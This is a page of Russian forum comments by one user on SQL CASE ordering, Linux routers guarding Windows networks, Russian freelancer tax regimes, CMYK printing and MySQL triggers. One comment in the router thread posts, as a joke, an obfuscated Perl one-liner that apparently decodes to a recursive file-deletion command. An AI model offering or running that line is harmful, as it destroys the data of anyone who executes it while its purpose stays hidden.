Задать вопрос
  • Как в SQL (postgresql) можно установить последовательность сортировки?

    @d-stream
    Vitsliputsli,
    Тоже самое с полом, если в пришедших данных пол не указан, то правильный не нужно угадывать, по хорошему здесь должен был быть эксепшен.
    или например в формировании отчета - нечто типа ..else 'иное' end...
    Это позволит в конце концов сформировать отчет на базе результатов из данных уже предусматривающих более двух полов. Вполне распространенная ситуация для долгоживущих проектов.

    О каком проекте мы сейчас говорим? Правильно ни о каком, так какие варианты портабельность нам следует соблюдать? Правильно, нет их на данном этапе. Так о каких ямах идёт речь?
    Конечно мы говорим о посте на тостере, но зачем даже тут прививать дурной стиль непредсказуемого и неочевидного поведения?
    В более других языках - при попытках стрельбы себе в ногу - анализатор либо вежливо, либо достаточно резко даст по рукам в ситуациях со switch|case при отсутствии вариантов default|otherwise. В SQL - чуть вольготнее, но это не стоит практиковать.
  • Как в SQL (postgresql) можно установить последовательность сортировки?

    @d-stream
    Vitsliputsli,
    но в задаче все равно нет этого else
    мы же не в армии - можно и дотелепатить недоговоренное в задаче)

    Да и портабельность в немаленьких проектах мало осуществима.
    портабельность бывает разной... к примеру в рамках диапазона присутствующих в эксплуатации версий платформы, а вот заранее копать себе ямки - моветон.

    Вон даже с полом когда-то честно писали case sex when 1 then 'M' else 'F' end или case sex when 1 then 'M' when 2 then 'F' end, но в европах это уже не прокатывает... есть вероятность что сходное скоро подкрадется к ФЛ/ЮЛ/ИП в виде СЗ
  • Как в SQL (postgresql) можно установить последовательность сортировки?

    @d-stream
    Vitsliputsli, ага - за две страницы кода до взвести нечто, что малопортабельно…

    лучше уж очевидное "else хх" )
  • Как в SQL (postgresql) можно установить последовательность сортировки?

    @d-stream
    Vitsliputsli, ну-ну )

    declare @qqq table (id int primary key, descr nvarchar(max))
    
    insert into @qqq (id,descr)
    values (1,'одын'),(2,'два'),(3,'tri'),(-1,'four'),(10,'десять')
    
    
    select 
    id,
    descr,
    ordering = case id when -1 then 3 when 2 then -1 when 3 then 5 end
    from @qqq
    order by ordering asc


    1	одын	NULL
    10	десять	NULL
    2	два	-1
    -1	four	3
    3	tri	5


    p.s. Microsoft SQL Server 2017
  • Как в SQL (postgresql) можно установить последовательность сортировки?

    @d-stream
    только для очевидности в case еще и else 4 стоит добавить, чтобы гарантировать)

    хотя join к таблице отбора (в которую можно даже добавить колонку ордеринга) - посимпатичнее
  • Защита виндовс сети с помощью линукс?

    @d-stream
    Adamos, именно
    притом от некоторых наркомания типа netplan… еще и в an mass уходит )
  • Защита виндовс сети с помощью линукс?

    @d-stream
    Adamos,
    Там еще добрые инженеры, оставляющие себе "сервисные" бэкдоры во всю ширину аппарата. Плюс пользователи, которых вход "админ:админ" вполне устраивает...
    теперь из этой "формулы" убираем каких-никаких инженеров....

    а потом в итоге

    cat "test... test... test..." | pеrl -е '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;sеe'
  • Защита виндовс сети с помощью линукс?

    @d-stream
    Adamos,
    да, спасибо, что напомнили.
    пожалуйста.
    Если включить мозг и выключить красные шторки на глазах, то окажется что проблема soho-linux-роутеров, плодящих вирусы - в криворукости, а не оси.
    Осталось сделать последний шаг - прочитать что написал #
  • Защита виндовс сети с помощью линукс?

    @d-stream
    Adamos,
    Я ничего из гетзефактсов не пропустил?
    наверно самое исходное - что soho роутеры в большинстве своем на Linux, но
    склонны сами заражаться и гадить в порученной им сети
    )
  • Upwork и ПСН можно ли (again)?

    @d-stream
    LastDragon, в году 365 дней, считая рабочую неделю не галерной - 5 рабочих 2 выходных
    получаем 365/7*5=260 рабочих дней
    100000/260 = 3846 руб/день

    13000/3846 = 3.38 дня
  • Upwork и ПСН можно ли (again)?

    @d-stream
    dimdd, коммента так и не увидел)
    при патенте 10000р - ПСН начинает "выигрывать" примерно с 770тыр дохода, при миллионе - "выигрыш" порядка 13 тыр - что примерно соизмеримо с тремя днями работы
    дальше - риски - если придется более 3 дней бодаться с фискалами по классификации псн/усн - эти 13 тыр будут съедены недополученным доходом)
  • Upwork и ПСН можно ли (again)?

    @d-stream
    dimdd, тогда будет чуть легче - все что не подпадет под патент - улетит под УСН

    осталось посчитать сравнительные цифры, навскидку - до миллиона годового дохода патент дает копеечный выигрыш в сумме относительно усн - дальше примерять этот выигрыш к рискам и затратам времени..
  • Как показать заказчику файлы в цветовом режиме CMYK?

    @d-stream
    Adamos,
    ну, на малых тиражах сейчас успешно работают цифровые машины, которые даже эту жуткую выворотку могут сделать терпимо. Правда, по цене визиточки выйдут куда более золотыми, чем с виду ;)
    первую в РФ индигу мультистрим (которая не только по бумаге кладет) я запускал)
    У цифропечати есть засадки - ровные не 100% плашки там слегка на облачка смахивают - то бишь если печатать "в лоб" - плашка такого дизайна может выглядеть фиговастенько. А вот желтенький - нормально пройдет - т.к. на офсетный барабан это все приладится точно ибо вначале накатываются на него 4..6 красок, а потом уже накатывается на бумагу -> не будет неизбежных смещений по прогонам и удлинения бумаги по волокну...
    А цена... да собсно в 2000 междусобойный листопрогон был около 40..70 центов. 100 визиток - ну пусть 5 листов - $3.5 - чуть больше 200р за печать + бумага + рез - в принципе не так уж и дорого.
  • Upwork и ПСН можно ли (again)?

    @d-stream
    vism, а это классические грабли на которые не так уж мало народа наступает: при регистрации ИП - дефолтно ОСН, а вот переходить на ПСН, УСН6/15 необходимо явным образом. И вот такой новоиспеченный предприниматель заявляется на ПСН, а все что мимо патента - ОСН... правильный вариант - два заявления: на УСН и на ПСН.
  • Как показать заказчику файлы в цветовом режиме CMYK?

    @d-stream
    Adamos, симпатично, но моя точка зрения жутко искажена именно полиграфическим прошлым и я рефлекторно оцениваю скорее возможный результат-каку вследствие неизбежных технологических огрехов...
  • Upwork и ПСН можно ли (again)?

    @d-stream
    dimdd, есть старая присказка: "хочешь перессорить друзей - дай поделить им деньги"... а тут даже не друзья...

    Но отсутствие бюрократии, я считаю, не может быть причиной отказа в применении ПСН
    отказом в применении ПСН будет не отсутствие бюрократие, а фактическое соответствие выполняемых работ патенту. К примеру "сделать сайтик под ключ и продвинуть его" - легко так расползается на три разных патента... а при наличии одного - все что под двумя другими - ОСН...

    В итоге нечто (да хоть переписка в чатике) будет трактовано фискалами как несоответствующее патенту - начнется веселье... кстати по ГК и НК они в безусловном порядке выставят требование на доплату налогов и включится счетчик (пени). Притом произойдет это во второй половине следующего за отчетным года и доказывать что это все-таки по патенту придется не в чатике, а документально. Возможно через суд (несколько инстанций).
  • Как показать заказчику файлы в цветовом режиме CMYK?

    @d-stream
    Adamos, угу... если бы обложка под 100-тысчный тираж - там уже и про ув-лак можно думать и про полиэтилен и клише под тиснение)
  • Создание записей в связанных таблицах - через MySQL триггеры или в коде приложения?

    @d-stream
    hostadmin, "дешево, быстро, качественно" - тут выбор даже не два из трех...
  • Создание записей в связанных таблицах - через MySQL триггеры или в коде приложения?

    @d-stream
    hostadmin, а это что - нечто выдающееся и доступное только 2-3 гениям на планете? )
    Возможно это слегка отссет тяпляпщиков из серии "ща все выдерну из базы и потом в цикле пройдусь", но не более того)
  • Upwork и ПСН можно ли (again)?

    @d-stream
    nrgian,
    И иногда налоговая для профилактики (у них есть свой план проверок профилактических) спрашивает - подтвердите документально, что получаемые вами деньги именно за ту деятельность, на которую у вас патент.
    соответственно идеальный вариант вставлять в "предмет договора" практически дословно текст названия патента... разве что изменив склонения/спряжения.

    Но в первую очередь стоит в циферках сравнить чистый выхлоп УСН6% и ПСН и оценить стоит ли разница в выхлопе треволнений и бодания с фискалами, если они начнут натягивать какие-либо позиции как не подходящие под ПСН (тогда кстати они облагаются по ОСН... что весело)